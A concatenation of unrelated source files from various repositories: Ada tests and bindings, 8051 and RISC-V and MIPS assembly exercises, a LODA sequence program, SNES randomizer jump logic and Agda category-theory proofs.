FAILED ("IMPROPER VALUE FOR RAN1'LAST");
END IF;
IF RANOBJ1 /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR RANOBJ1");
END IF;
IF IND1'LAST /= IDENT_INT(50) THEN
FAILED ("IMPROPER VALUE FOR IND1'LAST");
END IF;
IF INDOBJ1'LAST /= IDENT_INT(50) THEN
FAILED ("IMPROPER VALUE FOR INDOBJ1'LAST");
END IF;
IF DIS_VAL1.DISC1 /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR DIS_VAL1.DISC1");
END IF;
IF REN1 /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR REN1");
END IF;
FUNCVAR := F(C);
IF FUNCVAR /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR FUNCVAR");
END IF;
RESULT;
END P;
BEGIN
DECLARE
TYPE ARR IS ARRAY(1..2) OF T;
VAL1 : T := C;
VAL2 : ARR := (C, C);
VAL3 : T RENAMES C;
BEGIN
NULL;
END;
NULL;
END C74306A;
|
Ada/inc/Problem_45.ads
|
Tim-Tom/project-euler
| 0 |
9291
|
<reponame>Tim-Tom/project-euler
package Problem_45 is
procedure Solve;
end Problem_45;
|
dependencies/agar/ada-core/agar-core-dso.adb
|
amvb/GUCEF
| 5 |
20059
|
<filename>dependencies/agar/ada-core/agar-core-dso.adb
with Ada.Unchecked_Conversion;
with C_String;
with Interfaces.C;
with System;
package body Agar.Core.DSO is
package C renames Interfaces.C;
use type C.int;
function Load
(Name : in String;
Path : in String) return DSO_Access_t
is
Ch_Name : aliased C.char_array := C.To_C (Name);
Ch_Path : aliased C.char_array := C.To_C (Path);
begin
return Thin.DSO.Load
(Name => C_String.To_C_String (Ch_Name'Unchecked_Access),
Path => C_String.To_C_String (Ch_Path'Unchecked_Access),
Flags => 0);
end Load;
function Unload (DSO : DSO_Not_Null_Access_t) return Boolean is
begin
return 1 = Thin.DSO.Unload (DSO);
end Unload;
function Lookup (Name : in String) return DSO_Access_t is
Ch_Name : aliased C.char_array := C.To_C (Name);
begin
return Thin.DSO.Lookup (C_String.To_C_String (Ch_Name'Unchecked_Access));
end Lookup;
function Generic_Symbol_Lookup
(DSO : in DSO_Not_Null_Access_t;
Name : in String) return Subprogram_Access_Type
is
Ch_Name : aliased C.char_array := C.To_C (Name);
Result : aliased System.Address;
-- XXX: Risky...
function Convert is new Ada.Unchecked_Conversion
(Source => System.Address,
Target => Subprogram_Access_Type);
begin
if 1 = Thin.DSO.Symbol
(DSO => DSO,
Name => C_String.To_C_String (Ch_Name'Unchecked_Access),
Value => Result'Unchecked_Access) then
return Convert (Result);
else
return Convert (System.Null_Address);
end if;
end Generic_Symbol_Lookup;
end Agar.Core.DSO;
|
diody.asm
|
pbanaszkiewicz/excercises_ASM_8051
| 1 |
26022
|
.area MAIN(ABS)
.org 0x00
LJMP START;
.org 0x30
START:
MOV P1, #0b00010001;
END:
LJMP END;
|
programs/oeis/010/A010989.asm
|
neoneye/loda
| 22 |
172429
|
<reponame>neoneye/loda<filename>programs/oeis/010/A010989.asm
; A010989: Binomial coefficient C(n,36).
; 1,37,703,9139,91390,749398,5245786,32224114,177232627,886163135,4076350421,17417133617,69668534468,262596783764,937845656300,3188675231420,10363194502115,32308782859535,96926348578605,280576272201225,785613562163430,2132379668729310,5621728217559090,14420954992868970,36052387482172425,87967825456500717,209769429934732479,489462003181042451,1118770292985239888,2507588587725537680,5516694892996182896,11923179284862717872,25336755980333275478,52976853413424121454,109069992321755544170,221256270138418389602,442512540276836779204,873065282167813104916,1700179760011004467468,3269576461559623975900,6212195276963285554210,11666805764052999699370,21666924990384142298830,39806676145124354455990,72375774809317008101800,130276394656770614583240,232231833953373704257080,410111536555957818156120,717695188972926181773210,1244981450259157662259650,2141368094445751179086598,3652922043466281423147726,6181868073558322408403844,10380872802767748949961172,17301454671279581583268620,28626043183389853165044444,47028499515569044485430158,76730709735928441002543942,124356667503056438866191906,200235312081192571055732730,320376499329908113689172368,509451154672148967669667536,805261502546299981155280944,1265410932572757113244012912,1977204582144932989443770175,3072271735332895875904935195,4748056318241748171853081665,7299250757894030771654737485,11163559982661458827236657330,16988026060571785171881869850,25724725177437274688849688630,38768247802616737911365023710,58152371703925106867047535565,86830253640107351349427142145,129071998654213630384283589675,191026558008236172968739712719,281512822327926991743405892428,413129206792931819052011244732,603804225312746504768324126916,878955517860327190485535121460,1274485500897474426204025926117,1840923501296351948961370782169,2649133818938652804602948198731,3798155716309634743948805248783,5425936737585192491355436069690,7723980532327156370047150169794,10957274708650152059834329310638,15491319415677801188041637990902,21828677358455083492240489896271,30658254716931297039663609404875,42921556603703815855529053166825,59901513062311918831342744529525,83341235564955713156650774997600,115602359009454698894709139512800,159875602885416072939491363156000,220460041873573742684982827088800,303132557576163896191851387247100,415635362449791733953775613441900,568317740492572370916387063277700,774978737035325960340527813560500
add $0,36
bin $0,36
|
source/slim-menu_models.adb
|
reznikmm/slimp
| 0 |
28121
|
<gh_stars>0
-- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
package body Slim.Menu_Models is
-----------
-- Child --
-----------
function Child
(Self : Menu_Model'Class;
Path : in out Menu_Path) return Boolean is
begin
if Self.Item_Count (Path) > 0 then
Path := (Path.Length + 1, Path.List & 1);
return True;
else
return False;
end if;
end Child;
----------
-- Next --
----------
function Next
(Self : Menu_Model'Class; Path : in out Menu_Path) return Boolean is
begin
if Path.Length > 0
and then Path.List (Path.Length) < Self.Item_Count (Self.Parent (Path))
then
Path.List (Path.Length) := Path.List (Path.Length) + 1;
return True;
else
return False;
end if;
end Next;
------------
-- Parent --
------------
function Parent
(Self : Menu_Model'Class; Path : Menu_Path) return Menu_Path
is
pragma Unreferenced (Self);
begin
if Path.Length = 0 then
return Path;
else
return (Path.Length - 1, Path.List (1 .. Path.Length - 1));
end if;
end Parent;
--------------
-- Previous --
--------------
function Previous
(Self : Menu_Model'Class;
Path : in out Menu_Path) return Boolean
is
pragma Unreferenced (Self);
begin
if Path.Length > 0 and then Path.List (Path.Length) > 1 then
Path.List (Path.Length) := Path.List (Path.Length) - 1;
return True;
else
return False;
end if;
end Previous;
----------
-- Root --
----------
function Root (Self : Menu_Model'Class) return Menu_Path is
pragma Unreferenced (Self);
begin
return (Length => 0, List => <>);
end Root;
-----------------
-- Starts_With --
-----------------
function Starts_With
(Self : Menu_Path;
Prefix : Menu_Path) return Boolean is
begin
return Prefix.Length <= Self.Length
and then Prefix.List = Self.List (1 .. Prefix.Length);
end Starts_With;
------------
-- Suffix --
------------
function Suffix
(Self : Menu_Path;
Prefix : Menu_Path) return Menu_Path is
begin
return (Self.Length - Prefix.Length,
Self.List (Prefix.Length + 1 .. Self.Length));
end Suffix;
end Slim.Menu_Models;
|
Cats/Category/Constructions/Exponential.agda
|
alessio-b-zak/cats
| 0 |
171
|
<reponame>alessio-b-zak/cats<filename>Cats/Category/Constructions/Exponential.agda
module Cats.Category.Constructions.Exponential where
open import Level
open import Cats.Category.Base
open import Cats.Category.Constructions.Product as Product using
(HasBinaryProducts)
open import Cats.Util.Conv
import Cats.Category.Constructions.Unique as Unique
module Build {lo la l≈}
(Cat : Category lo la l≈)
{{hasBinaryProducts : HasBinaryProducts Cat}}
where
open Category Cat
open ≈-Reasoning
open Unique.Build Cat
open HasBinaryProducts hasBinaryProducts
record Exp (B C : Obj) : Set (lo ⊔ la ⊔ l≈) where
field
Cᴮ : Obj
eval : Cᴮ × B ⇒ C
curry′ : ∀ {A} (f : A × B ⇒ C)
→ ∃![ f̃ ∈ A ⇒ Cᴮ ] (eval ∘ ⟨ f̃ × id ⟩ ≈ f)
curry : ∀ {A} → A × B ⇒ C → A ⇒ Cᴮ
curry f = curry′ f ⃗
eval-curry : ∀ {A} {f : A × B ⇒ C}
→ eval ∘ ⟨ curry f × id ⟩ ≈ f
eval-curry {f = f} = ∃!′.prop (curry′ f)
curry-unique : ∀ {A} {f : A × B ⇒ C} {g}
→ eval ∘ ⟨ g × id ⟩ ≈ f
→ curry f ≈ g
curry-unique {f = f} = ∃!′.unique (curry′ f)
uncurry : ∀ {A} → A ⇒ Cᴮ → A × B ⇒ C
uncurry f = eval ∘ ⟨ f × id ⟩
curry∘uncurry : ∀ {A} {f : A ⇒ Cᴮ}
→ curry (uncurry f) ≈ f
curry∘uncurry = curry-unique ≈.refl
uncurry∘curry : ∀ {A} {f : A × B ⇒ C}
→ uncurry (curry f) ≈ f
uncurry∘curry = eval-curry
instance HasObj-Exp : ∀ {B C} → HasObj (Exp B C) lo la l≈
HasObj-Exp = record { Cat = Cat ; _ᴼ = Exp.Cᴮ }
open Exp public
curry∘curry : ∀ {A B C Y Z} (Cᴮ : Exp B C) (Yᶻ : Exp Y Z)
→ {f : Cᴮ ᴼ × Y ⇒ Z} {g : A × B ⇒ C}
→ curry Yᶻ f ∘ curry Cᴮ g ≈ curry Yᶻ (f ∘ ⟨ curry Cᴮ g × id ⟩)
curry∘curry Cᴮ Yᶻ {f} {g} = ≈.sym (curry-unique Yᶻ (
begin
eval Yᶻ ∘ ⟨ curry Yᶻ f ∘ curry Cᴮ g × id ⟩
≈⟨ ∘-resp-r (⟨×⟩-resp ≈.refl (≈.sym id-l)) ⟩
eval Yᶻ ∘ ⟨ curry Yᶻ f ∘ curry Cᴮ g × id ∘ id ⟩
≈⟨ ∘-resp-r (≈.sym ⟨×⟩-∘) ⟩
eval Yᶻ ∘ ⟨ curry Yᶻ f × id ⟩ ∘ ⟨ curry Cᴮ g × id ⟩
≈⟨ unassoc ⟩
(eval Yᶻ ∘ ⟨ curry Yᶻ f × id ⟩) ∘ ⟨ curry Cᴮ g × id ⟩
≈⟨ ∘-resp-l (eval-curry Yᶻ) ⟩
f ∘ ⟨ curry Cᴮ g × id ⟩
∎
))
record HasExponentials {lo la l≈}
(Cat : Category lo la l≈)
: Set (lo ⊔ la ⊔ l≈)
where
private open module Bld = Build Cat using (Exp)
open Category Cat
open Unique.Build Cat
infixr 1 _↝′_ _↝_
field
{{hasBinaryProducts}} : HasBinaryProducts Cat
_↝′_ : ∀ B C → Exp B C
open HasBinaryProducts hasBinaryProducts
_↝_ : Obj → Obj → Obj
B ↝ C = (B ↝′ C) ᴼ
eval : ∀ {B C} → (B ↝ C) × B ⇒ C
eval {B} {C} = Bld.eval (B ↝′ C)
curry : ∀ {A B C} → A × B ⇒ C → A ⇒ B ↝ C
curry {B = B} {C} f = Bld.curry (B ↝′ C) f
uncurry : ∀ {A B C} → A ⇒ B ↝ C → A × B ⇒ C
uncurry {B = B} {C} = Bld.uncurry (B ↝′ C)
eval-curry : ∀ {A B C} {f : A × B ⇒ C}
→ eval ∘ ⟨ curry f × id ⟩ ≈ f
eval-curry {B = B} {C} = Bld.eval-curry (B ↝′ C)
curry∘uncurry : ∀ {A B C} {f : A ⇒ B ↝ C}
→ curry (uncurry f) ≈ f
curry∘uncurry {B = B} {C} = Bld.curry∘uncurry (B ↝′ C)
uncurry∘curry : ∀ {A B C} {f : A × B ⇒ C}
→ uncurry (curry f) ≈ f
uncurry∘curry {B = B} {C} = Bld.uncurry∘curry (B ↝′ C)
curry∘curry : ∀ {A B C Y Z}
→ {f : (B ↝ C) × Y ⇒ Z} {g : A × B ⇒ C}
→ curry f ∘ curry g ≈ curry (f ∘ ⟨ curry g × id ⟩)
curry∘curry {B = B} {C} {Y} {Z} = Bld.curry∘curry (B ↝′ C) (Y ↝′ Z)
|
newitems/jump/main.asm
|
fcard/z3randomizer
| 0 |
174013
|
<reponame>fcard/z3randomizer
incsrc ./buttons.asm
incsrc ./checkpress.asm
incsrc ./execute.asm
incsrc ./height.asm
incsrc ./hole.asm
incsrc ./items.asm
incsrc ./ledge.asm
incsrc ./shadow.asm
incsrc ./soldier.asm
incsrc ./stairs.asm
incsrc ./sword.asm
incsrc ./warp.asm
incsrc ./watergrass.asm
; Called in height.asm
UpdateJump:
JSL CanCallJumpCode : BCS .done
JSL HandleJumping
.done
REP #$20 ; thing we wrote over
LDA $22 ; ^
RTL
CanCallJumpCode:
if !AllowStairJump == 0
LDA $5E : CMP #$02 : BEQ .noJumping ; don't jump when on stairs
endif
LDA $10
CMP #$07 : BEQ .correctModule
CMP #$09 : BEQ .correctModule
CMP #$0B : BEQ .correctModule
CMP #$06 : BEQ .resetJumping
CMP #$08 : BEQ .resetJumping
CMP #$0A : BEQ .resetJumping
BRA .noJumping
.correctModule
LDA $11 : BEQ .jumping ; only jump on submodule 0
BRA .noJumping
.resetJumping
%M_STZ(!IsJumping,0)
%M_STZ(!JumpTimer,0)
BRA .noJumping
.jumping
CLC : RTL
.noJumping
SEC : RTL
HandleJumping:
JSL CheckJumpButtonPress
JSL ExecuteJump
RTL
StopJump:
%M_STZ(!IsJumping,0)
RTL
|
test/5_five.asm
|
kojad666/Vulcan
| 102 |
170219
|
# Observacoes...
# O resultado vai ser salvo no registrador x7
# Se x7 = 1, jogador 1 venceu
# Se x7 = 2, jogador 2 venceu
# Se x7 = 3, os jogadores 1 e 2 empataram
# primeiro passo: Salvar as frases dos 2 jogadores na memoria.
# Jogador 1 -> Frase vai ser salva partindo do endereco 0
# Jogador 2 -> Frase vai ser salva partindo do endereco 200
addi x4, x0, 0 #endereco de partida da string 1
addi x5, x0, 200 #endereco de partida da string 2
add x6, x4, x0 # vai guardar o endereco inicial da string 1 para eu percorrer dps
add x7, x5, x0 # vai guardar o endereco inicial da string 2 para eu percorrer dps
# registrador x8 vai guardar o caractere da vez que vai ser carregado na memoria
# string 1 -> "CAMELO"
# string 2 -> "ELEFANTE"
# carregando a string1 na memoria.
addi x8, x0, 81 # 'Q'
sb x8, 0, x4
addi x4, x4, 1
addi x8, x0, 81 # 'Q'
sb x8, 0, x4
addi x4, x4, 1
#carregando a string2 na memoria
addi x8, x0, 69 # 'E'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 76 # 'L'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 69 # 'E'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 70 # 'F'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 65 # 'A'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 78 # 'N'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 84 # 'T'
sb x8, 0, x5
addi x5, x5, 1
addi x8, x0, 69 # 'E'
sb x8, 0, x5
addi x5, x5, 1
# pontuacao do jogador 1 --> registrador x9
addi x9, x0, 0
# pontuacao do jogador 2 --> registrador x10
addi x10, x0, 0
#checando a pontuacao do jogador1/string1
loop:
lb x8, 0, x6 # pegando o caractere da vez na string 1
beq x8, x0, fim1 #cheguei ao fim da string1
#checando cada caractere por vez...
addi x11, x0, 65 # 'A'
beq x8, x11, soma1
addi x11, x0, 69 # 'E'
beq x8, x11, soma1
addi x11, x0, 73 # 'I'
beq x8, x11, soma1
addi x11, x0, 79 # 'O'
beq x8, x11, soma1
addi x11, x0, 85 # 'U'
beq x8, x11, soma1
addi x11, x0, 78 # 'N'
beq x8, x11, soma1
addi x11, x0, 82 # 'R'
beq x8, x11, soma1
addi x11, x0, 83 # 'S'
beq x8, x11, soma1
addi x11, x0, 68 # 'D'
beq x8, x11, soma2
addi x11, x0, 71 # 'G'
beq x8, x11, soma2
addi x11, x0, 84 # 'T'
beq x8, x11, soma2
addi x11, x0, 66 # 'B'
beq x8, x11, soma3
addi x11, x0, 67 # 'C'
beq x8, x11, soma3
addi x11, x0, 77 # 'M'
beq x8, x11, soma3
addi x11, x0, 80 # 'P'
beq x8, x11, soma3
addi x11, x0, 70 # 'F'
beq x8, x11, soma4
addi x11, x0, 72 # 'H'
beq x8, x11, soma4
addi x11, x0, 86 # 'V'
beq x8, x11, soma4
addi x11, x0, 87 # 'W'
beq x8, x11, soma4
addi x11, x0, 89 # 'Y'
beq x8, x11, soma4
addi x11, x0, 75 # 'K'
beq x8, x11, soma5
addi x11, x0, 74 # 'J'
beq x8, x11, soma8
addi x11, x0, 76 # 'L'
beq x8, x11, soma8
addi x11, x0, 88 # 'X'
beq x8, x11, soma8
addi x11, x0, 81 # 'Q'
beq x8, x11, soma10
addi x11, x0, 90 # 'Z'
beq x8, x11, soma10
soma1:
addi x9, x9, 1
addi x6, x6, 1
jal x0, loop
soma2:
addi x9, x9, 2
addi x6, x6, 1
jal x0, loop
soma3:
addi x9, x9, 3
addi x6, x6, 1
jal x0, loop
soma4:
addi x9, x9, 4
addi x6, x6, 1
jal x0, loop
soma5:
addi x9, x9, 5
addi x6, x6, 1
jal x0, loop
soma8:
addi x9, x9, 8
addi x6, x6, 1
jal x0, loop
soma10:
addi x9, x9, 10
addi x6, x6, 1
jal x0, loop
fim1:
addi x7, x0, 200
# checando a pontuacao do jogador2/string2
loop2:
lb x8, 0, x7 # pegando o caractere da vez na string 2
beq x8, x0, fim2 #cheguei ao fim da string2
#checando cada caractere por vez...
addi x11, x0, 65 # 'A'
beq x8, x11, soma11
addi x11, x0, 69 # 'E'
beq x8, x11, soma11
addi x11, x0, 73 # 'I'
beq x8, x11, soma11
addi x11, x0, 79 # 'O'
beq x8, x11, soma11
addi x11, x0, 85 # 'U'
beq x8, x11, soma11
addi x11, x0, 78 # 'N'
beq x8, x11, soma11
addi x11, x0, 82 # 'R'
beq x8, x11, soma11
addi x11, x0, 83 # 'S'
beq x8, x11, soma11
addi x11, x0, 68 # 'D'
beq x8, x11, soma22
addi x11, x0, 71 # 'G'
beq x8, x11, soma22
addi x11, x0, 84 # 'T'
beq x8, x11, soma22
addi x11, x0, 66 # 'B'
beq x8, x11, soma33
addi x11, x0, 67 # 'C'
beq x8, x11, soma33
addi x11, x0, 77 # 'M'
beq x8, x11, soma33
addi x11, x0, 80 # 'P'
beq x8, x11, soma33
addi x11, x0, 70 # 'F'
beq x8, x11, soma44
addi x11, x0, 72 # 'H'
beq x8, x11, soma44
addi x11, x0, 86 # 'V'
beq x8, x11, soma44
addi x11, x0, 87 # 'W'
beq x8, x11, soma44
addi x11, x0, 89 # 'Y'
beq x8, x11, soma44
addi x11, x0, 75 # 'K'
beq x8, x11, soma55
addi x11, x0, 74 # 'J'
beq x8, x11, soma88
addi x11, x0, 76 # 'L'
beq x8, x11, soma88
addi x11, x0, 88 # 'X'
beq x8, x11, soma88
addi x11, x0, 81 # 'Q'
beq x8, x11, soma1010
addi x11, x0, 90 # 'Z'
beq x8, x11, soma1010
soma11:
addi x10, x10, 1
addi x7, x7, 1
jal x0, loop2
soma22:
addi x10, x10, 2
addi x7, x7, 1
jal x0, loop2
soma33:
addi x10, x10, 3
addi x7, x7, 1
jal x0, loop2
soma44:
addi x10, x10, 4
addi x7, x7, 1
jal x0, loop2
soma55:
addi x10, x10, 5
addi x7, x7, 1
jal x0, loop2
soma88:
addi x10, x10, 8
addi x7, x7, 1
jal x0, loop2
soma1010:
addi x10, x10, 10
addi x7, x7, 1
jal x0, loop2
# Resultado ---> x31
fim2:
beq x9, x10, empate # pontuacao jogador1 = pontuacao jogador2
blt x9, x10, win2 # jogador2 venceu
blt x10, x9, win1 # jogador1 venceu
win1:
addi x7, x0, 1
jal x0, final
win2:
addi x7, x0, 2
jal x0, final
empate:
addi x7, x0, 3
jal x0, final
final:
|
day23/app/hello2.asm
|
ghosind/HariboteOS
| 11 |
160078
|
<reponame>ghosind/HariboteOS<filename>day23/app/hello2.asm<gh_stars>10-100
[BITS 32]
MOV EDX, 2
MOV EBX, msg
INT 0x40
MOV EDX, 4
INT 0x40
msg:
DB "hello", 0
|
baseConverter.asm
|
luanorlandi/Assembly-MIPS-ICMC
| 0 |
97688
|
<reponame>luanorlandi/Assembly-MIPS-ICMC<filename>baseConverter.asm
# Trabalho de Organizacao de computadores
#
# <NAME> 8531532
# <NAME> 8532252
.data
#strings para auxliar o usuario
stringNumberBaseInput: .asciiz "\nDigite a base de entrada do numero: "
stringNumberInput: .asciiz "\nDigite o numero: "
stringNumberBaseOutput: .asciiz "\nDigite a base de saida do numero: "
stringIncorrectBase: .asciiz "\nBase nao reconhecida, use B, O, D ou H."
stringNumberConverted: .asciiz "\nO numero convertido eh: "
stringNumberInvalid: .asciiz "\nNumero invalido ou nao pode ser representado nessa base."
stringNumberOverflow: .asciiz "\nO numero ultrapassa 32 bits sem sinal, resultado sofrera overflow..."
#dados de entrada
baseInput: .word 10
baseOutput: .word 10
numberInStringInput: .space 36 #string com o numero, o binario eh o maior possivel, sendo ate 32 caracteres + '\0'
numberInStringInputQty: .word 0 #contem a quantidade de caracteres armazenados em "numberInStringInput"
#resultados
numberInDecimal: .word 0 #numero em 32bits em decimal sem sinal, menor = 0 e maior = 4294967295
numberInStringOutput: .space 36 #contem o numero numa string na base convertida
numberInStringOutputQty:.word 0 #contem a quantidade de caracteres armazenados em "numberInStringOutput"
#auxiliar de conversao
numberInStringInverted: .space 36 #auxiliar que armazena um numero (pode ser de input ou output) invertido numa string
.text
main:
jal readBaseInput #le a base do numero que sera fornecido como entrada
jal readNumberInString #le o numero que sera convertido
jal baseToDecimal #converte o numero para a base decimal
jal readBaseOutput #le a base para qual o numero deve ser convertido
jal decimalToBase #converte o decimal para a base de saida
jal printResult #mostra o numero convertido
li $v0, 10 # termina o programa
syscall
###########################################################################
# READ BASE INPUT
###########################################################################
#le um caractere que determina a base no numero a ser digitado
#esse caractere eh convertido para um numero inteiro e armazenado
#em baseInput
readBaseInput:
addi $sp, $sp, -4 #decrementa pilha
sw $ra, 0($sp) #push $ra
li $v0, 4 #printa string
la $a0, stringNumberBaseInput #texto para digitar a base inicial
syscall
li $v0, 12 #le um char, retorna o char em $v0
syscall
move $a0, $v0
jal readBase
bne $v0, $zero, exitReadBaseInput
li $v0, 4 #printa string
la $a0, stringIncorrectBase #texto dizendo que a base n foi reconhecida
syscall
j readBaseInput
exitReadBaseInput:
sw $v0, baseInput #armazena o numero da base
lw $ra, 0($sp) #pop $ra
addi $sp, $sp, 4 #incrementa pilha
jr $ra
###########################################################################
# READ BASE OUTPUT
###########################################################################
#le um caractere que determina a base em que o numero sera convertido
#esse caractere eh convertido para um numero inteiro e armazenado
#em baseOutput
readBaseOutput:
addi $sp, $sp, -4 #decrementa pilha
sw $ra, 0($sp) #push $ra
li $v0, 4 #printa string
la $a0, stringNumberBaseOutput #texto para digitar a base de saida
syscall
li $v0, 12 #le um char, retorna o char em $v0
syscall
move $a0, $v0
jal readBase
bne $v0, $zero, exitReadBaseOutput
li $v0, 4 #printa string
la $a0, stringIncorrectBase #texto dizendo que a base n foi reconhecida
syscall
j readBaseOutput
exitReadBaseOutput:
sw $v0, baseOutput #armazena o numero da base
lw $ra, 0($sp) #pop $ra
addi $sp, $sp, 4 #incrementa pilha
jr $ra
###########################################################################
# READ BASE
###########################################################################
#le o caractere e retorna o numero correspondente da base
#(ex: D corresponde a 10)
#Argumentos: $a0 caractere
#Retorno: $v0 numero da base
readBase:
li $v0, 2 #verifica para binario (base 2)
li $t1, 'B'
beq $a0, $t1, exitReadBase
li $t1, 'b'
beq $a0, $t1, exitReadBase
li $v0, 8 #verifica para octal (base 8)
li $t1, 'O'
beq $a0, $t1, exitReadBase
li $t1, 'o'
beq $a0, $t1, exitReadBase
li $v0, 10 #verifica para decimal (base 10)
li $t1, 'D'
beq $a0, $t1, exitReadBase
li $t1, 'd'
beq $a0, $t1, exitReadBase
li $v0, 16 #verifica para hexadecimal (base 16)
li $t1, 'H'
beq $a0, $t1, exitReadBase
li $t1, 'h'
beq $a0, $t1, exitReadBase
li $v0, 0 #nao eh nenhuma base especificada, usa flag 0
exitReadBase:
jr $ra
###########################################################################
# READ NUMBER IN STRING
###########################################################################
#le uma string que sera o numero de entrada
#essa string eh armazenada em numberInStringInput
readNumberInString:
addi $sp, $sp, -4 #decrementa pilha
sw $ra, 0($sp) #push $ra
li $v0, 4 #printa string
la $a0, stringNumberInput #texto para digitar o numero
syscall
li $v0, 8 #le uma string
la $a0, numberInStringInput #argumento para o endereco da string
li $a1, 33 #argumento para o tamanho max da string
syscall #se chegar no limite 33 do buffer, para a leitura, n exigindo o ENTER e n colocando \n
#verifica se o numero pode ser representado na base indicada
la $a0, numberInStringInput
lw $a1, baseInput
jal checkValidNumber
beq $v0, $zero, readNumberInString
#le qtns caracteres foram digitados
la $s0, numberInStringInput
li $s1, 0
li $s3, 32
loopReadNumberInString:
addi $s1, $s1, 1 #incrementa o contador de qtd de caracteres
addi $s0, $s0, 1 #incrementa o contador de leitura da string
lb $s2, ($s0) #carrega o caractere
beq $s2, '\0', exitLoopReadNumberInString #caso a string conter o numero maximo do buffer, n eh aplicado o '\n'
bne $s2, '\n', loopReadNumberInString #conta ate encontrar o final da string
exitLoopReadNumberInString:
sw $s1, numberInStringInputQty #armazena a quantidade de caracteres lidos
lw $ra, 0($sp) #pop $ra
addi $sp, $sp, 4 #incrementa pilha
jr $ra
###########################################################################
# REVERSE STRING
###########################################################################
#inverte uma string, armazenando o resultado em outra string
#Argumentos: a0 string, a1 tamanho, a2 string invertida
reverseString:
lw, $t0, ($a1) #carrega a string
add $a2, $a2, $t0 #coloca a string invertida na posicao final
subi $a2, $a2, 1
loopReverseString:
lb $t1, ($a0) #le da string o caractere
sb $t1, ($a2) #armazena o caractere na string invertida
addi $a0, $a0, 1 #avanca a string
subi $a2, $a2, 1 #recua a string invertida
subi $t0, $t0, 1 #decrementa o contador do tamanho
bne $t0, $zero, loopReverseString
jr $ra
###########################################################################
# BASE TO DECIMAL
###########################################################################
#converte a string (numberInStringInput) da base (baseInput) para
#um numero em decimal e armazena em (numberInDecimal)
baseToDecimal:
addi $sp, $sp, -4 #decrementa pilha
sw $ra, 0($sp) #push $ra
la, $a0, numberInStringInput
la, $a1, numberInStringInputQty
la, $a2, numberInStringInverted
jal reverseString #inverte o numero para realizar o metodo
lw $s0, baseInput #base da potencia
li $s1, 0 #expoente da potencia
li $s2, 1 #resultado da potencia, 2 elevado a 0 por exemplo
li $s3, 0 #numero em decimal final
li $s6, 0 #flag para overflow
la $s4, numberInStringInverted #string que contem os numeros
#verifica overflow para hexadecimal:
li $t0, 16
bne $s0, $t0, loopBaseToDecimal #verfica se eh hexadecimal
lw $t0, ($a1) #carrega o tamanho da string
li $t1, 8 #tamanho maximo possivel
ble $t0, $t1, loopBaseToDecimal #se maior q 8, entao o numero sofre overflow
la $a0, stringNumberOverflow #string avisando overflow no numero de entrada
li $v0, 4 #printa string
syscall
li $s6, 1 #ativa flag overflow, para nao printar 2 vezes
#loop de leitura do numero
loopBaseToDecimal:
lb $s5, ($s4)
beq $s5, '\n', exitBaseToDecimal
beq $s5, '\0', exitBaseToDecimal#caso a string tenha o tamanho maximo 33 atingido no buffer de leitura
add $s4, $s4, 1 #incrementa o endereco de leitura da string
move $a0, $s0
move $a1, $s1
jal pow #calcula a potencia
move $s2, $v0 #transfere o resultado para s2
addi $s1, $s1, 1 #incrementa o expoente para o proximo
move $a0, $s5
jal getNumber #pega o numero correspondente a aquele caractere
move $s5, $v0
mulu $s5, $s5, $s2 #base elevado ao expoente atual vezes o numero lido
#verifica se houve overflow
bne $s6, $zero, notOverflow #ja foi detectado overflow, entao ignora a verificacao
move $a0, $s3
move $a1, $s5
jal checkAddOverflow
beq $v0, $zero, notOverflow
#caso overflow, avisa
la $a0, stringNumberOverflow #string avisando overflow no numero de entrada
li $v0, 4 #printa string
syscall
li $s6, 1 #ativa flag overflow, para nao printar 2 vezes
notOverflow:
addu $s3, $s3, $s5 #soma parcial para chegar no numero em decimal
j loopBaseToDecimal
exitBaseToDecimal:
sw $s3, numberInDecimal #armazena o numero
lw $ra, 0($sp) #pop $ra
addi $sp, $sp, 4 #incrementa pilha
jr $ra
###########################################################################
# DECIMAL TO BASE
###########################################################################
#converte o numero de (numberInDecimal) de base (baseOutput) para
#a string (numberInStringOutput)
decimalToBase:
addi $sp, $sp, -4 #decrementa pilha
sw $ra, 0($sp) #push $ra
la $s4, numberInStringInverted #vetor q contera os restos das divisoes pela base
lw $s0, numberInDecimal #carrega o numero decimal
lw $s1, baseOutput #carrega a base de conversao
li $s3, 0 #contador para a quantidade caracteres armazenados
loopDecimalToBase:
divu $s0, $s1
mflo $s0 #resultado de $s0/$s1
mfhi $s2 #resultado de $s0 mod $s1
move $a0, $s2
jal getChar #pega o caractere correspondente ao numero
move $s2, $v0
sb $s2, ($s4) #armazena o resto
addiu $s4, $s4, 1 #incrementa para armazenar na proxima posicao
addi $s3, $s3, 1 #incrementa o contador
bne $s0, $zero, loopDecimalToBase
la $s4, numberInStringOutputQty
sw $s3, ($s4)
#ate aqui tem o numero na base de conversao numa string mas invertido, devido ao metodo usado
la, $a0, numberInStringInverted
la, $a1, numberInStringOutputQty
la, $a2, numberInStringOutput
jal reverseString #inverte a string para pegar o numero corretamente
lw $ra, 0($sp) #pop $ra
addi $sp, $sp, 4 #incrementa pilha
jr $ra
###########################################################################
# PRINT RESULT
###########################################################################
#printa o numero convertido final para a base desejada
#(numberInStringOutput) deve conter o numero
printResult:
la $a0, stringNumberConverted #carrega o texto dizendo a conversao
li $v0, 4 #printa string
syscall
la $a0, numberInStringOutput #carrega o numero
li $v0, 4 #printa string
syscall
jr $ra
###########################################################################
# POW
###########################################################################
#realiza uma potencia
#Argumentos: a0 base, a1 expoente
#Resultado: v0 resultado da potencia
pow:
li $v0, 1 #resultado da potencia
loopPow:
beq $a1, $zero, exitLoopPow
mulu $v0, $v0, $a0
subi $a1, $a1, 1 #decrementa o expoente
j loopPow
exitLoopPow:
jr $ra
###########################################################################
# GET CHAR
###########################################################################
#recebe um numero (de 0 a 15 em geral) e retorna o caractere dele na tabela ascii
#para maiores de 10, retorna A, B, C...
#Argumentos: a0 numero
